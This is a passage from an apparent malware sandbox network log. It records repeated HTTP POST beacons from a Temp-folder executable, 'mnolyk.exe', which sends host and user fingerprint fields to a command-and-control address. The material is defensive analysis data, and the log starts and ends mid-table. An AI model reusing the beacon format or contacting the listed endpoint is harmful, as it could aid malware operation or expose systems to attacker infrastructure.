Feb 6, 2023 18:37:03.841682911 CET	692	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	49748	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:03.424266100 CET	456	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:03.489942074 CET	456	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.7	49967	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:04.009354115 CET	693	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:04.074354887 CET	693	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.7	49968	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:04.244029045 CET	694	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:04.307334900 CET	694	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.7	49969	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:04.479000092 CET	695	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:04.542346001 CET	695	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.7	49970	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:04.713404894 CET	696	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:04.776000023 CET	696	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.7	49971	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:04.988037109 CET	697	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:05.052577972 CET	697	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.7	49972	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:05.232422113 CET	698	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:05.295784950 CET	698	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.7	49973	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:05.465389967 CET	699	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:05.528156042 CET	699	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.7	49974	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:05.733542919 CET	700	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:05.799844980 CET	700	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.7	49975	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:05.978492975 CET	701	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:06.042375088 CET	701	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.7	49976	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:06.213926077 CET	702	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:06.283323050 CET	702	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	49749	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:03.660430908 CET	457	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:03.726121902 CET	457	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.7	49977	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:06.464354992 CET	703	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:06.529069901 CET	703	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.7	49978	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:06.699429989 CET	704	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:06.766144037 CET	704	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.7	49979	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:06.951379061 CET	705	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:07.014616966 CET	705	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.7	49980	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:07.211466074 CET	706	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:07.280040979 CET	706	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.7	49981	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:07.544608116 CET	707	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:07.616162062 CET	707	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.7	49982	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:07.790106058 CET	708	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:07.854876995 CET	708	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.7	49983	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:08.027985096 CET	709	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:08.095154047 CET	709	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.7	49984	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:08.277098894 CET	710	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:08.341062069 CET	710	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.7	49985	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:08.510191917 CET	711	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:08.573493004 CET	711	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.7	49986	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
